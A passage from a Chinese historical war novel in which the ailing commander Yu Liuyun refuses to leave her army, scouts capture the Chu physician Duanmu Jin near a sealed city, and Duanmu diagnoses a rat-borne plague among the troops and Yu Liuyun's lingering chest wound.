石梦泉原本拉着那木锤的柄,猛地感到手上一轻,回头看时玉旒云已经摔倒在地。他赶忙来扶,而玉旒云却挣扎不已。“大人——”他看到玉旒云那样直直地盯着自己,好像要一直看到自己的心里去,似乎有很重要的话非说不可。他仔细地听,却什么也听不见。“大人,你别再动了,别再说了!我这就带你去看大夫——” 才说到这里,玉旒云忽然“哇”地吐出一口鲜血,也终于讲出了话:“他们都可以不信我,你不能。” 那时天边正露出一线曙色,而石梦泉却感觉天仿佛在瞬间塌了下来——为什么要质疑她?十几年来形影不离肝胆相照,他不是最了解她的人吗?以他的所知,她只要是答应了的事,怎么会出尔反尔呢?为什么要猜疑?还说要保护她,陪伴她,如今只是伤害她……若她有什么三长两短,石梦泉啊石梦泉,他痛骂着自己,你就是死一千次也补偿不了! “大人,我信你。是我错怪你。” “果真?”玉旒云望住着他,用了很大的力气,好像稍一松劲眼神就会完全涣散似的。 “是,大人。”石梦泉道,“我信你。” 他话音才落,玉旒云笑了笑,身子一沉,晕了过去。 石梦泉既心疼又悔恨,此刻若能把时间倒转,他决不会说出任何一句怀疑她的话;不,若是能回头,他该在初见时就杀了郭罡这阴险小人……如果能回头……但是他知道不能,他只能尽一切可能来补救。 将玉旒云抱起,他发足向堤下狂奔。 迎面看到罗满跑了过来。正是军医发现玉旒云不见了,他出来寻找。石梦泉道:“罗副将,河堤上的工程先交给你了!” 罗满一看不省人事的玉旒云,立刻也就明白了过来,点了点头。 石梦泉跑下河堤,抱着玉旒云上了马,朝北面疾驰而去。 军医诊断认为玉旒云这次是肝火犯肺,用了些清肝泻肺、凉血止血的汤药,不时,她的烧就渐渐退了下去。 “只是大人操劳过度,气血不足,”军医道,“我想给她用些当归、白芍之类的药,但这里都没有。” “大夫的意思是……”石梦泉道,“应该尽快将玉大人转移到后方去医治疗养?” 军医点点头:“此地天气阴寒,对大人的健康非常不利。但凡肺有损伤,最怕反复。将军最好早作安排,把大人送到瑞津去。那里南北商贾往来,药材总齐全些。待她病情稍稍稳定,则要立刻护送她回京城,请太医院会诊,商量出调理的方案来,这才是长久之计。” 石梦泉自当日听了林枢的一番言论之后时时都担心玉旒云的身子会有事,今日见她竟咳了血,怎不忧心如焚?太医的建议也正是他的所想。当下道:“大夫说的极是,不知护送大人上路需要有些什么准备?” “至少要……” 太医才开口,就听玉旒云道:“谁说我要走?”竟支撑着坐了起来。 石梦泉赶紧上来扶她:“大人,你才醒,千万不要勉强。” 玉旒云不听劝,还想要下床:“攻打郑国的战役才开始,我身为主帅,怎么可以离开军队?” 石梦泉道:“可是大人现在的身体……” 玉旒云道:“大青河之战,你在远平城病倒,不也没有退下来?你可以做到的事,难道我做不到么?再说……”她忽然打住了,对军医道:“要说到补药,这里没有,我想富安总兵府里一定有不少。可不可以劳烦大夫到那边去看一看?” 军医晓得看药还是其次,实际是两位大人有事商议,自己不便在旁,便识趣地应声告退。 本来石梦泉十几年来早已习惯和玉旒云单独相处,无论是公事还是私事,他们两人总能有如一体。但是经过了这一次靖杨的风波,当房中只剩下他和玉旒云两人时,他竟有一点点心慌:万一说起之前二人的争执,他不晓得该怎样应对。见玉旒云正凝视着自己,他惟有勉强笑了笑。气氛十分尴尬。 而玉旒云只拍了拍床沿,叫他坐下。“你应该知道我不能走。”她说,“我们已经做了这么多事,现在一走,就全完了。刘子飞将来想怎么抹黑我们都可以。” 看来她也是故意回避之前的争执,仿佛要假装什么都没发生一样。石梦泉虽松了口气,又蓦然有点失望:假如他们能敞开来谈,也许他可以说出许多心里话吧!不过,这当儿有更紧急的事。他便道:“大人可以放心地去后方休养,这里的一切都交给我就好。” 玉旒云摇摇头:“郭罡这老家伙不知道打的什么鬼主意。我看他比谁都希望我们分开。他现在跟着刘子飞在北线,究竟还要玩什么花样,谁也猜不出。但是如果我们分开两地,就给了他可乘之机,一旦联络言语生了误会,可能又……” 她果然是想回避令两人都不愉快的争执,便不再说下去,转而道:“总之我们不能分开。我们偏偏要让所有人都看到,谁也别想在你我之间造谣生事、挑拨离间!” 在病中,她说话的声音并不大,但是语气却和往日无甚差别。这句话一字一字无比清楚,声声都敲在石梦泉的心中。不错,他想,如果以后有谁再污蔑她,我决计不信!可越是这样同自己暗暗发誓,他越是感觉异样:若换在以前,我根本不用这样想,因为她所做的一切我都会支持,她无论去哪里,我也都会追随,但是……如果有朝一日她当真做了错事,我该如何? 玉旒云并不晓得他心中的犹豫,只是又强调了一回:“所以我一定不能离开。” “但是如果大人你倒了下来,一切都没有意义。”石梦泉道,“你忘了林大夫的话么?” “林枢?”玉旒云冷笑了一声,“他小子到底安的什么心,还不知道呢!说不定他也是最想我死的人之一,他的话能信么?况且,楚国还没有拿下,我无论如何都不会有事的。” 究竟为什么一定要拿下楚国呢?石梦泉从来就没有问过,因为以前他对她只是无条件的支持。但今天,问出这句话的欲望空前的强烈。如果可以,平平安安,快快乐乐地做一个贵族,甚至只是做一个平民有什么不好?为什么要舍弃所有女子应有的幸福,拼了性命消灭楚国?他不敢自不量力地以为能够给她幸福,但是他比谁都希望她能够幸福。 “大人,我……” 才说了几个字,玉旒云突然笑着打断了他:“对了,我不走,还有一个原因——因为我觉得只要是我们两个人在一起,就没有办不成的事。这次攻打郑国一定会有意想不到的成功。” 石梦泉愣了一愣,看到她脸上又显出过去那种踌躇满志的笑容,带着对他完全的信任与依靠。在这个时候,他还能说什么呢? “大人现在是什么计划?要绕过泛滥区东进么?” 玉旒云偏头看着他,微笑道:“丢下泛滥区的人不管,你舍得么?”她不用听石梦泉的回答,因为她知道他心里真正的答案,便径自接下去道:“我也决不这么做。我们要留在这里,一边治水,一边东进。郭罡和刘子飞以为用伤天害理的卑鄙手段才能取得胜利,我就偏偏要证明给他们看,光明正大的法子要好得多!” 听到这样的决定,石梦泉当然欢喜,但提醒她道:“如果天气好,靖杨的堤坝再有几天就能修好,但是下游的情形我们并不清楚,也不知道一一治理得花多少时间。我们并不一定能抢在北线军队之先攻下江阳城。” 玉旒云皱着眉头:“我知道。但是刘子飞现在没有后续部队维持占领区的统治,他如果一直用闪电战朝东打,必然顾了头顾 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此话一出口,他立刻有些后悔,而玉旒云已经笑着接上话茬:“怎么?你是怕一旦遇到紧急情况,我就以攻打江阳为重么?” 石梦泉不能否认。 玉旒云道:“无论是我还是刘子飞先进入江阳,得胜的都是樾国,作战的也都是我的部下,这已经可以算是胜利了。如果只是为了比快、为了和刘子飞争而出什么意外的话,未免得不偿失吧?” 也对!石梦泉未想到一向争强好胜的玉旒云竟看得这样清楚:如果以南线化为荒滩为代价硬是从刘子飞手中夺来头功,将来刘子飞一定会把水淹靖杨的过错都推到玉旒云身上。现在必须在南方做到滴水不漏,才能够免除后患。“大人果然缜密!”他道,“如此一来,便不给刘、郭二人任何可乘之机!” “什么?”玉旒云愣了愣,猜到石梦泉的想法,就笑了起来,“刘子飞、郭罡——我会怕他们?如今既然算计到了我的头上,我早晚收拾他们。我所说的得不偿失……”她顿了顿,凝望着挚友,道:“如果得到郑国、夺回兵权却因此和你生了嫌隙,那才是我玉旒云最大的损失。” 石梦泉听得此话,仿佛被雷电击中一般半晌动弹不得,连思想都停止了,只是呆呆地望着玉旒云。直到她蹙起眉头,嗔怪“这人,怎么傻了?”他才“呼”地翻身下地,单膝跪倒:“大人,我一定不负你的所托,既将南线的水患治理好,也尽力抢在刘将军之先攻入江阳!” 玉旒云连忙伸手去扶,但是病中的她并无一分力气,这一动作反而使自己失了平衡,幸亏石梦泉一把托住才没摔下床去。她道:“咱们是谁跟谁?你这一跪是唱戏逗我开心么?哼,竟害得我差点儿没摔死,罚你再重新讲个笑话来!” 见她一本正经的样子,石梦泉忍不住笑了,又立刻做出一副为难的模样道:“大人在上,还是饶了小的吧,小的当真不会讲笑话!” “去你的!”玉旒云劈手打了过去。他却不躲闪,而她的手也刚好打到跟前就收住了。两人便都笑了起来。几天来的不愉快就在这一笑中全然烟消云散。 有了如此的决定之后仿佛是老天要帮助他们,一连几日都是万里无云的好天气。樾军将士上下一心,不辞劳苦,终于将靖杨河堤全线翻修,险情全部排除。而城内泥泞的通道经过工兵营的修复,再加上太阳曝晒也足够承受粮草和辎重车的重量,原本一直停在城外的运输部队便可以穿越靖杨城了。 只是玉旒云的身体却没有像她所自信的那样迅速康复起来,甚至连起色也不见——清晨退了烧,到傍晚又发起热来,虽然不曾在咳血,但是一直胸闷气短,连早就愈合的那处在西瑶所受的箭伤也开始痛了起来。 军医诊了几次脉,实在看不出她除了风寒之外还患有什么疑难杂症,便又劝她尽早回后方修养。玉旒云自然不同意,她命军医施针镇住旧伤的疼痛,以免自己在石梦泉面前显露出来;并且,一接到堤坝和道路完工的消息,她就下令大军立刻东进。 于是,樾军健锐、神弩和步军三营整顿好一切,只留下原富安的一部分军士驻守靖杨,其余人马都向东进发。 连接靖杨和乾窑的是郑国的大片农田,洪水过后田中的冬麦一片狼籍,坍塌的农舍间唯有成群结队的田鼠在钻来钻去。众人行军数日也未见半个郑人,到正月十五元宵节这日,来到了乾窑外的一片树林。透过稀疏而萧索的枯枝,可以望见乾窑城。卢进是打前锋的,用望远镜看了看,见城门紧紧的关闭着。 “这倒奇怪。”他报告道,“按一路上的情形来推断,乾窑应该也遭了洪水,百姓莫非没有逃难去么?难道郑军已知道我军东进,所以打算在此闭城死守?” 玉旒云皱着眉头望了望乾窑城,见夕阳里正升起一股炊烟——有炊烟就说明有人在。她指着道:“全城为上,破城次之,他们洪水过后缺衣少粮,应该无法死守。我们只要大军开到城下,稍加威胁,应该……” 才说到这里,她忽然停住了。众人都还等着进一步的命令呢,却听她道:“这烟好古怪!” 大家此时再看,见那炊烟只有一股,滚滚浓浓地升到空中就化为一团黑云,仿佛将整个乾窑城都笼罩其中。 “就算是狼烟烽火向邻近的城池求救,也没见过这样的!”慕容齐道,“难道他们想烧了这城?” 玉旒云不说话——军医给她针灸镇痛的时效就快要过了,她怕自己再一开口,就会让石梦泉看出破绽来,便只是皱眉。石梦泉以为她大概累了,一心想替她分忧,因道:“大人,不如我带一队人马……” “将军,还是我去吧。”罗满不待他说完就主动说道。其实石梦泉连日来既要操心军务又要担忧玉旒云的身体,已经瘦了一圈,面容也显得相当憔悴。罗满不忍他太操劳,才主动请缨。 “也好。”石梦泉点点头,让罗满带上一百精兵趁着暮色的掩护速速去乾窑一探。 罗满领命即去,夜幕开始降临时就来到了乾窑城下。他们前望望城上,见黑灯瞎火的,没有一个士兵的影子,再看看城门,不禁吃了一惊——这城门不仅仅是关闭着,而且是被人从外面用木柱钉死了,就算是乾窑得到了樾军东来的消息想要死守,也没有从外面把自己封死在城里的道理呀! 一个士兵道:“罗副将,要不要爬上去看看?” 罗满道:“不要轻举妄动,小心里面有埋伏,我们先去城北瞧瞧。” 于是众人就转向北方。天色越来越黑了,他们也不敢点火照明,只能摸黑沿着城墙走。而忽的,好几个士兵都感到有什么事物爬过自己的脚背,有人伸手去抓,发现毛茸茸的,原来又是老鼠。“妈的!”那士兵骂道,“这里怎么有这许多耗子?” “嘘!”同伴叫他小声些,“说不定是郑国人练了支老鼠兵团呢——当日石将军在楚国不是遇到一大群鹿的攻击么?” 这话充满了嘲弄,周围的士兵忍不住都笑了起来,但个个捂着嘴不敢出声,因而浑身直打颤。 “哎哟!”蓦地有人叫了一声,“娘的,耗子咬人!” 众人便忍不住笑出了声来:“哈哈,讲明了是老鼠兵团,当然会咬人了!” “哼!”那士兵气乎乎地将咬在自己手上的老鼠摔在地上,一脚踏死,“他娘的,踩你个稀巴烂!兀那郑国藏头露尾的龟儿子们,有胆就出来!老子就像踩耗子一样踩扁你们!” 众人听他这样说,真是笑得上气不接下气,不过立刻又都捂上嘴忍住了,一百人鸦雀无声地继续前行。 乾窑这座城并不小,罗满一行到了半夜时分才看到了西城墙的尽头。他们便转向东面,沿着北城墙前进。 又走了大概十多里地,忽然见到前面有火光,罗满便急急命令队伍停下。众人隐在灌木丛后一看,见插火把的地方正是一座郑军的军营,而他们所把守的,正是乾窑的北门。 罗满和众士兵心中都奇怪:郑军应该知道樾军从西而来,在北门设防却是为何? 他们仔细观察了一下,看往来巡逻的士兵大概只有二、三十人——以如此的兵力是绝对不可能和樾军所抗衡的,莫非这是诱敌之计?是想引得樾军冲进城去,然后好来个瓮中捉鳖? 罗满行事一向小心,既然石梦泉只是命自己来此侦察,他就算有十分的把握能将城外的郑军消灭,也不轻举妄动,只是招呼手下立刻返回樾军大营复命。于是,一百人又神不知鬼不觉地悄悄撤退。 只是,撤到城西北角的时候,忽然有个士兵朝城墙上一指:“罗副将,你看!” 罗满顺他所指望去,只见黑黢黢的城墙上有一个人影正在缓慢地攀行。是敌?是友?他心中飞快地决断着:不管是何人,有何目的,在这个时候企图悄悄进入乾窑城,大约总不是守卫北门的那群郑军的盟友。且抓来问问再说! 罗满想着,抽出了腰刀来,在城墙上一插,借力朝上窜起丈许,跟着又拔出一把匕首再次插入墙中做支点,这一跃便已来到了黑衣人的旁边。黑衣人显然也是听到了动静,劈手就朝罗满打来。罗满见此人敢攀爬如此陡峭的城墙,早也料到其身手不俗,所以有了防备。他右手将腰刀一挥,逼退了黑衣人的攻势,而左手的匕首迅速地朝城墙上一扎,便翻身跃到了黑衣人的上方。 这时他发现黑衣人是先用铁爪将绳子抛上城楼再顺着绳子上城的,如果控制了绳子就等于控制了黑衣人,他便一把向绳子上抓去。黑衣人见了赶忙在城墙上一蹬,让绳子晃开了罗满的攻击范围,同时自己也飞起一腿向罗满踢了过去。 罗满的武功只是寻常,看黑衣人招式如此凌厉,晓得自己决非敌手,只好急中生智在险中求胜。对黑衣人踢来的一脚他避也不避,直到黑衣人的腿擦到自己腰间时他才猛地双手朝对方腿上抱了过去。两人都挂在城墙上,活动的空间很小,黑衣人更几时料到有如此打法?想要变招已是不及,因此被罗满紧紧抱住。而罗满更乘胜追击,顺势又拿住了黑衣人的腰眼,接着挥刀将绳子斩断,两人就一齐落到了地上。 黑衣人的武功远在罗满之上,被他用奇招制住,不禁又惊又怒,甫一着地立刻一肘撞在罗满胸口摆脱了他的掌握。但是旁边的樾军士兵早已围了上来,十几把钢刀“唰唰唰”都架到了黑衣人的脖子上,黑衣人一愣,知道无法脱身了。 罗满揉了揉胸口,站起身来:“你是什么人?为何要深更半夜翻入乾窑城?” 黑暗之中黑衣人的眸子却十分明亮,冷冷地看了他一眼,道:“你管我是什么人?总之我不像你们是一群衣冠禽兽!” 众士兵和罗满都是一愣——倒不是因为这个黑衣人出言不逊,而是因为其声音婉转,语调软糯,是个带着南方口音的女子。 有人劈手将她的脸罩拉了下来,月色下看看,见她生了张鹅蛋脸,眉眼生动,虽然不是绝色,但也十分可人。罗满想起自己方才抱住人家的腿,简直是唐突佳人,不禁红了脸,道:“姑娘,抱歉。” 女子冷冷地瞟了他一眼:“用不着假惺惺,我落到你们手里,随你们处置就是。不过,你们做这种伤天害理的事,迟早会有报应的!” 伤天害理?罗满皱着眉头,暗想,这姑娘莫非也是指责我军引水淹城之事?但她看来并不是郑国人啊!她究竟为何要深夜进入乾窑?乾窑封城的内情她又知道多少?许多的疑问需要这姑娘来一一解释,只不过此地不宜久留,方才的一番打斗很可能惊动郑军,还是早些离开为妙。于是他道:“带上她,回营!” 几个士兵立刻合力反剪了女子的双手。女子怒不可遏,张口欲骂,而一个士兵又用那黑面罩将她的嘴堵住,她只有怒视着罗满。但罗满只是挥挥手,百名士兵便几乎悄无声息地撤离了乾窑。 62. 第 62 章 罗满一行到天蒙蒙亮时才回到了樾军大营。石梦泉几乎一宿没合眼地等待着消息。罗满做了简单的汇报,便将那神秘女子带上来问话。 女子由两个士兵押着,到了跟前,才将她口中的布取出,她立刻骂道:“禽兽!要怎么处治本姑娘?你们来个痛快的,姑娘决不皱眉头。将来化作厉鬼,再回来找你们算帐!”有士兵喝令她规矩些,好生拜见将军,她便又骂道:“哼,将军?不打敌人却转杀自己父老乡亲的将军还真天下少见!” 石梦泉皱着眉头,不知道这女子到底怒从何来,见她突然抬头狠狠瞪了自己一眼,又猛地觉得此人有些眼熟,不知在哪里见过。那女子也是一怔,盯着石梦泉看了半晌,道:“你……你是孟少侠?” 听到这称呼,石梦泉才也想起了她来——这正是楚国神农山庄端木庄主的女儿端木槿啊!他不禁讶异道:“端木姑娘么?” 端木槿冷冷一笑:“没想到孟少侠还认得我——没想到孟少侠你竟然做了郑国朝廷鹰犬!不,看来你本就是郑国高官,只不过当初我们有眼无珠,未看出来罢了!” 石梦泉怎么想到当日在楚国为了脱身才结下一面之缘的女子今天还会再见?他一时也不知究竟该怎么接端木槿的话茬。但旁边的士兵已喝道:“你这女子,休得胡说八道!什么郑国朝廷鹰犬?我们这是堂堂大樾国的军队!”说时,指向帐前插着的军旗。端木槿初初被押进来时,天色灰白,大旗上的字还不怎么看得清楚,这时却清晰可见。“这是我们石将军,”那士兵道,“不是什么孟少侠!” “石……?”端木槿怔怔地,“樾军?” 石梦泉同她抱了抱拳:“端木姑娘,在下石梦泉。当日在神农山庄中情非得已,以假名示人,望姑娘见谅。” “石梦泉!”端木槿近乎切齿道,“原来你就是樾国强盗!” “说话放尊重点儿!”有士兵喝骂,但石梦泉示意他们不要为难端木槿,自己和气地问道:“端木姑娘,不知你为何来到此地,又为何深夜攀上乾窑城墙?” “哼!”端木槿丝毫也不领他的情,啐了一口,道:“本姑娘愿意到哪里关你什么事?这里是郑国,我半夜爬乾窑城墙只有郑国的士兵才能管。你们这些樾国强盗才应该问问自己怎么大过年的跑来别的国家烧杀劫掠!” “我们几时烧杀劫掠了!”士兵们在靖杨治水日以继夜,辛苦万分,听到端木槿这样骂自己,当然生气。还是几名士兵曾经在富安负责安置石梦泉救下的郑军老弱病残,更觉得受了莫大的冤枉:“我们连郑国士兵都还没杀,更别说平民了!这都是玉将军和石将军心肠好,否则照刘将军的打法,我们早把郑国踏平了!” 端木槿只是冷笑:“强盗闯进别人家里,是杀光了主人家抢走其的财物,还是留下他们的性命日后好奴役,这有什么分别么?强盗竟还往自己脸上贴金,真是千古奇闻!” “说什么!”士兵们都火了。 石梦泉却被这话刺的微微一颤。他不想深究,只道:“端木姑娘,念在我们曾有一面之缘,我也不想为难你。乾窑城我军志在必得,如果姑娘知道些什么内情能够帮助我军的,石某感激不尽,必然礼待姑娘;若姑娘不愿相助,石某也不勉强。只不过,樾楚为敌,我却是不能放姑娘走的了!” 原来这姑娘是楚国人,罗满听言想到,难怪她说话这样好听。 端木槿依旧冷笑:“你不就是想囚禁我么?做什么说那么多废话?索性把我杀了倒干净——你这樾国强盗,已经满手血腥,也不在乎多我一个。想骗我助你攻下乾窑城,你想也不要想!” 石梦泉不想再在端木槿身上浪费时间,便示意士兵把她带下去,好生看守。但此时忽然听到帐外传来一阵惊呼声,接着就骚乱了起来。一问究竟,原来个侦察回来的士兵忽然晕倒,其战友怕他是受了寒邪,已经去找军医了。 石梦泉才想放下心,却听端木槿道:“等等!你快去摸摸这人的脖子和腋下看看是不是有些硬块!” 那传话的士兵愣了愣,显然是没想到端木槿身为阶下囚还敢命令自己,当然也没打算听她的话。端木槿面上露出了焦急之色,跺脚道:“快!不想闹出大事来就赶紧照我说的去做!” “端木姑娘,”石梦泉看出她神色有异,“会出什么大事?” 端木槿道:“三言两语可说不清楚,现在不可耽搁,赶紧去看!” 有了一丝不祥的预感,石梦泉忙叫士兵按端木槿的话去做。不时,传话的士兵面如土色地回来了:“将军,他脖子和胳肢窝里果然有木节似的的硬块!他浑身烫得好像烧碳似的!” 石梦泉望向端木槿,后者挣扎着:“快放开我!让我去看看他!” “放开。”石梦泉即命令。 那押着人的两个士兵还有些犹豫,觉得端木槿太过古怪又是敌人,说不定就是她使用巫蛊之术害人。但石梦泉却想起端木槿曾经说过,医门中人效法神农,以救死扶伤为己任,决不做故意杀人之事,他看端木槿这样的神情,晓得必然是发生了极严重的事情,而非她脱身的诡计,因而再次命令:“放开她!”并提高了声音。这样,两个士兵才解开了绳索。而端木槿不待绳索完全从身下脱去就夺门而出。石梦泉、罗满都立刻跟上。 他看到了外面,看到好些士兵将病人围成了一圈。端木槿边拨开人群边取出了一方帕子扎住自己的口鼻。她蹲到病人的身边把了把脉又翻翻那病人的眼皮,罗满远远地望见士兵的眼白完全是血红色。 “这是不是老鼠咬的?”端木槿用袖子裹住自己的手捏起病人的一只手掌给周遭的人看。众人看那哪里还像是人手?又红又肿,活像是一个血馒头。 “是啊。”有人回答,“我们一路上看到许多老鼠,他在城墙根儿上被咬的。” 端木槿“倏”地一下站了起来:“全部退后。凡是刚才碰过他的人,立刻用热水洗手!如果有皂荚就烧皂荚水洗。然后找一个大帐,里面用的小罐烧上一灌醋,你们全部都要集中到那帐里,在里头待半个时辰才能出来。三天之内,你们不可接触其他人。” 侦察归来的士兵立刻就乱了,有的大骂端木槿妖言惑众,有的则惊慌失措不知自己是不是染上了不治之症。罗满高声号令才使他们安静下来。石梦泉道:“端木姑娘,究竟是出了什么事,可否明示?” “是……”端木槿方要说,可忽然又改变了主意,“我当然可以‘明示’——你的军队现在面临着灭顶之灾。我可以帮你,但是你必须答应我一个条件。” “什么条件……”石梦泉才问,士兵中又炸开了锅:“将军,不要信这个妖女的话。一切都是她搞的鬼!叫她乖乖把人治好,否则要她的命……”军医也在这个时候赶来了,一步跨到了病人的身边,也把了脉,又看了眼、舌,即道:“将军,这是大头瘟,虽然凶险但也不是什么洪水猛兽,只要用辟瘟丹就可医治。这女子危言耸听,将军不要上她的当。” 樾军士兵当然还是信赖自己的军医,听言纷纷道:“原来是大头风,看这臭婆娘卖弄!” 端木槿站起身来,满面怒容,却不是为了大家对她的恶言,只怒视着军医道:“什么辟瘟丹?你身为医者,却用些方士道人的硫磺丹、水银丸么?你何止是庸医,简直就是草菅人命,不容于医门!” 军医已介不惑之年,却被个年轻女子指着鼻子骂,怒不可遏:“你又是什么人,到我樾军大营里装神弄鬼?你说我的方子不好,你又有什么方子?” 端木槿道:“我乃是神农山庄门下。你的方子不好,一是因为‘辟瘟丹’根本就是方士骗人之物,治不了任何的瘟疫,二是因为这个人得的根本就不是大头瘟——大头瘟是由于感受风温时毒,入侵肺胃而发病。而这个人是所感受的疫疠之邪来自老鼠。” 军医怒道:“一派胡言!我军一路行来,见田鼠肆虐,被咬伤的大有人在,没有一个像他这般的,可见这病症和老鼠毫无关系!” “大头瘟以头面红肿或咽喉肿痛为特征。”端木槿道,“而这个人颈、腋有瘰历——”她说着,动手解开了病人的衣服,用手去按腹股沟。众人都看得目瞪口呆,暗想:一个年轻女子,怎么敢在大庭广众之下有如此不要脸的举动?而端木槿毫不在乎,只是喃喃道:“果然,果然!上有瘰历结核,下有横痃便毒!”说时,已将病人的内衣也脱了下来,仔细地看着病人的腹部,指着道:“这里已出现了两处黑斑——如此症状,是大头瘟么?” 靠得比较近的人都看得分明,不自觉地朝后连退几步。军医也看出严重来,但不肯在小辈面前认输,所以只是瞪着端木槿,不说话。 端木槿道:“治疗此病当用生石膏、生地、犀角、黄连、栀子、桔梗、黄芩、知母、赤芍、元参、连翘、甘草、丹皮和鲜竹叶制成清瘟败毒饮;而预防此病,应该将松叶切细,每服一匙,酒送下,一天服三次——若全军士兵都用此方……”看来她纯是出自一片医者的父母之心,见到病人情势危急就忍不住把治疗方法滔滔不绝地讲了出来,竟忘了自己想用药方和石梦泉做交易,直到连预防的方案都说出了口才猛地意识到,但已经太迟了。 恰在这个时候,又听一人道:“好,就按端木姑娘说的立刻去办!”正是玉旒云到了。 石梦泉晓得一种极可怕的疫病已经来到了军中,恐怕玉旒云大病未愈会受感染,急忙上前拦住她:“大人,你还是先回去休息。” 其实在军医赶来这里之前玉旒云刚刚让他给自己施过针,现在精神尚好。她便向石梦泉微微摇了摇手,表示“没有那个必要”,自己走到了端木槿的面前,淡淡道:“端木姑娘,我们又见面了!” 上次在神农山庄里玉旒云着的是女装,此刻乍见她男装打扮端木槿一时没认出来,直看到石梦泉护到了她身边,两人并排站立,这才看出端倪:“你……哼,他不是孟少侠,想来你也不是什么刘姑娘了!” 玉旒云笑了笑:“不错,我就是当日你们楚国武林中人齐集你家想要杀之而后快的大恶人玉旒云!” 其实端木槿也猜到了,但经玉旒云的口说出来有一种恶毒的嘲讽,让她感觉当初自己和所有武林同道是多么的愚蠢。 玉旒云略带微笑地看着她:“端木姑娘,你只身来到郑国大概还是为了寻找林枢吧?你为什么不信我的话呢?林枢医术高明,我已经留他在身边,让他做了太医院院使。他荣华富贵享用不尽,怎么还会留在郑国呢?” 端木槿显然是被这句话刺伤了,咬着嘴唇,微微地摇头,仿佛在说她不相信。 玉旒云道:“端木姑娘方才不是说要和梦泉做交易么?你心地善良看不得人遭受疫病之苦,所以没来得及谈判就把药方说了出来。我不想别人说我占你的便宜——作为樾军统帅,我来同你做这个交易——既然你帮我军解了疫病之危,我可带你回西京去,让你见林枢一面,如何?” 端木槿抬眼看着她,眼神中忽然有了种鄙视和嘲讽:“你以为我就是想提出这样一个条件?你未免也太小看我了。” 玉旒云挑了挑眉毛:“哦?原来端木姑娘的胃口还挺大?你救了我一个士兵,我让你和林枢见一面,我看这很公平。” 端木槿盯着她的脸:“我救的不仅仅是这一个士兵,而是你的整支部队。如果你觉得这还不够跟你谈条件,我再加上你的性命,如何?” 玉旒云愣了愣。石梦泉则挡到了她的身前,道:“端木姑娘,你到底要怎样?” 端木槿冷笑一声:“你放心,我才不会因为这样一个人而违背爷的教训——玉旒云,我问你,你前一阵是不是受了风寒又吐过血?” 玉旒云一愕,虽未回答,但她的表情已经把答案告诉了端木槿。 端木槿道:“你吃了不少清肝泻肺、凉血止血的汤药,不过这一阵子你还是经常胸闷气短。你的军医大概尽他所能又搜罗了不少补药来,可惜你的病情一点儿也没好转。若我没猜错,你一直都是靠针灸镇痛才能够提起精神勉强处理日常事务,而方才……方才你大概又吐血了,是不是?” 她越说,玉旒云的面色就越难看。就在这天早晨,她觉得胸口好像被压了一块巨石,闷得差点儿就醒不过来。是罗满侦察部队嘈杂的脚步声终于将她惊醒,口干舌燥之时,她喝了杯隔夜的茶,不想就呛住了,一咳嗽又带出了鲜血。军医被吓得面无人色,立刻跪求她返回后方治疗,但是她不肯答应,并命令一定要隐瞒。 石梦泉见她的神色知道端木槿所言十有八九是真的,心中既痛惜又焦急:“大人,你……她说的可是真的?你为什么一直瞒着?” 玉旒云强作镇定:“这点小毛病算得什么?都说病来如山倒,病去如抽丝,我染病才不过半个月的光景,慢慢自然就好了。” 端木槿道:“是么?我看你不仅有病,而且有伤。这个伤可不止半个月,大概有四个月了。” 此话一出玉旒云惊得说不出话来,石梦泉更是又惊诧又着急——玉旒云在西瑶受箭伤是去年九月十九观音出家日,到今日的确就快四个月了!“大人,莫非你的旧伤……” 玉旒云抬手示意他不要担心,自己对端木槿道:“端木姑娘果然和林大夫一样医学修为甚是叫人佩服。我的确是受过伤,遇到天气变化难免就有些不太平。咱们常上战场的人哪个没有这样的经历?不值得大惊小怪。” 军医却是知道内情的,因而被端木槿讲的有些心虚,不顾会越描越黑,开口道:“只要拿下郑国,玉大人可以好好休息,再多吃些参茸补品自然就会恢复。你这女子休来胡言乱语,玉大人才不受你要挟!” 端木槿冷笑:“是么?我看她的身体除了有伤之外,其实以前就一直不怎么好,而且她属于虚不受补的体质,你给她下的那些参茸补药,不但不能固本培元,反而会把她的身子越拖越坏——你这庸医,她这么多天来越吃补药越是胸闷烦躁,你不觉得奇怪么?” 军医被这么一堵,不由张口结舌。 石梦泉见此情形真恨不得揪住这军医的领子痛斥他一顿:玉旒云性格倔强喜欢逞强,全军上下谁不知道?身为医生怎能任由一个病人使性子拖垮自己的身体?他甚至还有一种抱起玉旒云来立刻将她绑上回京马车的冲动,但是他也知道,如果端木槿所说的是真的,玉旒云现在经不起长途跋涉。“端木姑娘,”他几乎恳求地望着端木槿,“大人的身体究竟如何?要怎样治疗?” 端木槿冷冷地打量着玉旒云:“我们医者讲究望、闻、问、切。她说话没几句是真的,又不让我把脉,我只好这么看看,却不一定准——她本是先天不足,几个月前受了金伤,应该是在胸口。当时用了极好的外伤药,立刻就止住了血,以为无甚大碍,却不知有淤血留在肺部。这些血块壅塞,压迫血管,使得肺部气血不畅,但几个月来她的身体为了适应这一变化便增生出了新的血管。而这一次病倒,因为外忧内患,旧的血块又将新生的脆弱血管挤破。我想,她现在胸中血流成河,能吐出来倒是好,就怕再吐多少次也吐不完。” 石梦泉听了这话,仿佛病的不是玉旒云而是他自己,登时眼前就一阵发黑,险些跌倒:“端木姑娘,这病要怎生医治?” 端木槿道:“你现在问我,我也没有十分的把握。但是总要先将淤血排出体外,才好做近一步的打算。而清除淤血这一步……” 玉旒云恨她在石梦泉面前讲出自己的病情,冷笑一声,道:“你还没有十足的把握就想来跟我谈条件,你觉得我玉旒云是这么愚蠢的人么?可笑——” “大人!”石梦泉沉声打断,“你自己的身体如何你最清楚,就算瞒得了我们所有人,瞒得了大夫,难道还能瞒你自己?至少先听端木姑娘说完,再做定夺不迟!” 玉旒云道:“我何用听她说完?不错,我的身体如何我最清楚。但是现在我们要以攻郑的大局为重。” “大人的身体才是大局!”石梦泉情急之下把玉旒云当成任性的孩子般教训起来,“性命攸关,怎么能够意气用事?” 玉旒云在任何时候嘴上都不肯服输,因争辩道:“就是因为性命攸关,我才不能轻信她——我怎么能信一个楚人?咳——”才说到这里,她面色忽然一变,似乎是想紧紧咬住嘴唇,却“哇”地喷出一口血来。 石梦泉一看:这还了得!不容她再有丝毫的任性,一把将她抱了起来,边快步朝她的军帐去,边道:“端木姑娘,你有什么条件,我答应你!请你先给大人治病!” 端木槿其实一见玉旒云面色有变就已经跳了起来——医者的本能使她的第一个念头就是要救人,但是当石梦泉唤她时,她又犹豫了片刻,才道:“果真答应我的条件?” 石梦泉道:“是,你快说——” 玉旒云已经喘不上气来了,还要出声反对:“梦泉……不要……” 